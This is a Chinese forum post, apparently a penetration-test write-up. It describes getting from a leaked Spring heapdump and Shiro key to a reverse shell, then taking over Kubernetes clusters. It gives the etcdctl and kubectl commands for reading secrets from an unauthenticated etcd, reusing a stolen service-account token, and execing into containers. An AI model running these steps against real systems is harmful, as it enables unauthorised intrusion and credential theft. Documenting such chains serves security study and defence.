找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1709

积分

1

好友

242

主题
发表于 3 天前 | 查看: 9| 回复: 0

在信息收集阶段,发现目标系统可能存在安全隐患。该系统基于 Spring 框架构建,使用相关工具对其进行目录扫描后,确认系统存在 heapdump 信息泄露问题。

图片

将 heapdump 文件下载并进行内存分析后,在其中发现了应用配置中使用的 Shiro Key 等敏感信息。

图片

随后使用 Shiro 反序列化相关工具对获取到的 Key 进行验证,确认其有效并具备命令执行能力。在验证成功后,即可通过反序列化漏洞执行系统命令,进一步反弹 Shell 到自己的 VPS 上。取得初始权限后,可以搭建代理进入内网进行横向渗透。

图片

从内网入口到Kubernetes集群控制

进入内网后,首先会对当前主机进行基础信息收集,包括查看网卡信息、用户权限以及运行的服务情况。同时尝试查阅配置文件,重点关注其中是否包含账号密码、API密钥等敏感信息。根据实际情况上传 fscan 等内网扫描工具进行探测。

在扫描过程中发现 C 段中的一个 IP 开放了 2379 和 6443 端口且存在未授权访问问题,这为直接获取 Kubernetes 集群控制权提供了可能。

第一步:枚举etcd中的Secret

etcdctl.exe --endpoints=目标 ip:2379 get / --prefix --keys-only | findstr secrets

此命令从 etcd 中列出所有配置项的键名,并筛选出与 secrets 相关的内容,用于快速判断是否存储了集群的敏感认证信息。

图片

第二步:获取具体Secret的Token

etcdctl.exe --endpoints=目标 ip:2379 get /registry/secrets/base-service/backuprecovery-admin-token-zltg8

此命令连接目标 etcd 服务,读取指定路径下的 Secret 数据,其中通常包含 ServiceAccount 的访问 Token。

图片

第三步:使用Token访问K8s API Server

kubectl.exe --insecure-skip-tls-verify -s https://目标 ip:6443/ --token="获取到的token" get pods,svc --all-namespaces -o wide

在获取 Token 后,使用 kubectl 跳过 TLS 校验,携带 Token 访问 Kubernetes API Server,成功列出所有命名空间下的 Pod 和 Service 信息,验证了 Token 的有效性和权限。

图片

第四步:进入容器执行命令

kubectl.exe --insecure-skip-tls-verify -s https://目标ip:6443/ --token="获取到的token" exec -n base-service -it 服务name -- bash

在确认权限后,使用 kubectl exec 命令进入指定命名空间中目标服务的容器内部,获得交互式 Shell 权限。

图片

通过上述攻击链,成功在多个 Kubernetes 集群中获取了容器执行权限,部分集群进一步实现了节点级控制。




上一篇:程序员返乡发展指南:四五线城市职业生存与真实案例分析
下一篇:SSlogs工具详解:Web日志安全分析与应急溯源实战
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-24 22:54 , Processed in 0.170959 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表